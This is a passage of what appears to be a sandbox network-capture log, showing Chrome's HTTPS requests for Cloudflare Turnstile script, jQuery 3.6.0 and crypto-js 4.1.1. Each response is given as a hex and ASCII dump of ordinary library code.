Se;(function(e){e.FAILURE_WO_HAVING_TROUBLES="failure-wo-having-troubles",e.FAILURE_HAVING_TROUBLES="failure-having-troubles",e.FAILURE_FEEDBACK="failure-feedback",e.FAI
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 4c 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 64 61 72 6b 22 2c 22 6c 69 67 68 74 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 39 65 35 7d 66 75 6e 63 74 69 6f 6e 20 6c 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 33 36 65 34 7d 76 61 72 20 53 72 3d 2f 5e 5b 30 2d 39 41 2d 5a 61 2d 7a 5f 2d 5d 7b 33 2c 31 30 30 7d 24 2f 3b 66 75 6e 63 74 69 6f 6e 20 59 74 28 65 29 7b 72 65 74 75 72 6e Data Ascii: unction L(e,r){return e.indexOf(r)!==-1}function it(e){return L(["auto","dark","light"],e)}function ot(e){return L(["auto","never"],e)}function ct(e){return e>0&&e<9e5}function lt(e){return e>0&&e<36e4}var Sr=/^[0-9A-Za-z_-]{3,100}$/;function Yt(e){return
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 5f 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 67 2d 72 65 63 61 70 74 63 68 61 2d 72 65 73 70 6f 6e 73 65 22 2c 74 72 3d 38 65 33 2c 45 74 3d 22 70 72 69 76 61 74 65 2d 74 6f 6b 65 6e 22 2c 72 72 3d 33 2c 6e 72 3d 35 30 30 2c 61 72 3d 35 30 30 2c 59 3d 22 30 2f 30 22 3b 76 61 72 20 4e 72 3d 5b 22 62 67 2d 62 67 22 2c 22 64 61 2d 64 6b 22 2c 22 64 65 2d 64 65 22 2c 22 65 6c 2d 67 72 22 2c 22 6a 61 2d 6a 70 22 2c 22 6d 73 2d 6d 79 22 2c 22 72 75 2d 72 75 22 2c 22 73 6b 2d 73 6b 22 2c 22 73 6c 2d 73 69 22 2c 22 73 72 2d 62 61 22 2c 22 74 6c 2d 70 68 22 2c 22 75 6b 2d 75 61 22 5d 2c 6b 72 3d 5b 22 61 72 2d 65 67 22 2c 22 65 73 2d 65 73 22 2c 22 63 73 2d 63 7a Data Ascii: allenge_response",_t="cf-turnstile-response",bt="g-recaptcha-response",tr=8e3,Et="private-token",rr=3,nr=500,ar=500,Y="0/0";var Nr=["bg-bg","da-dk","de-de","el-gr","ja-jp","ms-my","ru-ru","sk-sk","sl-si","sr-ba","tl-ph","uk-ua"],kr=["ar-eg","es-es","cs-cz
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f 22 35 30 30 70 78 22 3a 6e 3f 22 34 38 30 70 78 22 3a 72 3f 22 36 35 30 70 78 22 3a 6f 3f 22 35 39 30 70 78 22 3a 22 35 37 30 70 78 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 48 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 69 72 28 65 2c 72 29 7b 69 66 28 21 56 28 65 2c Data Ascii: rFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?"500px":n?"480px":r?"650px":o?"590px":"570px"};function He(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function ir(e,r){if(!V(e,
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 63 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 72 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 72 2e 67 65 74 28 6f 29 3b 72 2e 73 65 74 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 49 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 63 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 7d 72 65 74 75 72 6e 20 Data Ascii: f(o===null\|\|!cr(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof r!="undefined"){if(r.has(o))return r.get(o);r.set(o,c)}function c(){return Ie(o,arguments,ce(this).constructor)}return
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d 65 2e 73 72 63 2c 6e 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 2c 73 72 63 3a 72 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 6e 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 6f 3d 72 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 6e 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 57 28 29 7b 72 65 74 75 72 6e 20 74 79 Data Ascii: ript tag, some features may not be available",43777);var r=e.src,n={loadedAsync:!1,params:new URLSearchParams,src:r};(e.async\|\|e.defer)&&(n.loadedAsync=!0);var o=r.split("?");return o.length>1&&(n.params=new URLSearchParams(o[1])),n}function W(){return ty
2024-10-11 13:53:47 UTC	1369	IN	Data Raw: 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 73 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 73 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 70 78 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 65 6e 22 2c 73 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 3d 22 30 70 78 20 61 75 74 6f 22 3b 76 61 72 20 77 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 77 2e 69 64 3d 65 2b 22 2d 66 72 22 2c 77 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 68 29 2c 77 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 22 2c 22 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 69 73 6f 6c 61 74 65 64 3b 20 66 75 6c 6c 73 63 72 65 65 6e 22 29 2c 77 2e 73 65 74 41 74 74 72 69 62 75 74 65 Data Ascii: derRadius="5px",s.style.left="0px",s.style.top="0px",s.style.overflow="hidden",s.style.margin="0px auto";var w=document.createElement("iframe");w.id=e+"-fr",w.setAttribute("src",h),w.setAttribute("allow","cross-origin-isolated; fullscreen"),w.setAttribute

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49714	151.101.194.137	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:47 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:48 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 11 Oct 2024 13:53:48 GMT Age: 2605798 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740075-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 1 X-Timer: S1728654828.058350,VS0,VE1 Vary: Accept-Encoding
2024-10-11 13:53:48 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-10-11 13:53:48 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-10-11 13:53:48 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-10-11 13:53:48 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-10-11 13:53:48 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-10-11 13:53:48 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-10-11 13:53:48 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-10-11 13:53:48 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-10-11 13:53:48 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-10-11 13:53:48 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49715	104.17.25.14	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:48 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:48 UTC	964	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:48 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 715478 Expires: Wed, 01 Oct 2025 13:53:48 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rg079jJZfAELfgNtJOtBgFeMX%2FFGgrAubhYZVA0B57ckBMTyaGun9ObgnRmBoP8uYWzSJVvtmrjhUXJ8oiwWCbB923sm5%2F11gCvFKxpF5361%2FUMW%2F58s%2Boxg8wdyy2NV6pLJG%2Fna"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d0f56a3ac9b1825-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:48 UTC	405	IN	Data Raw: 37 62 65 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bed!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
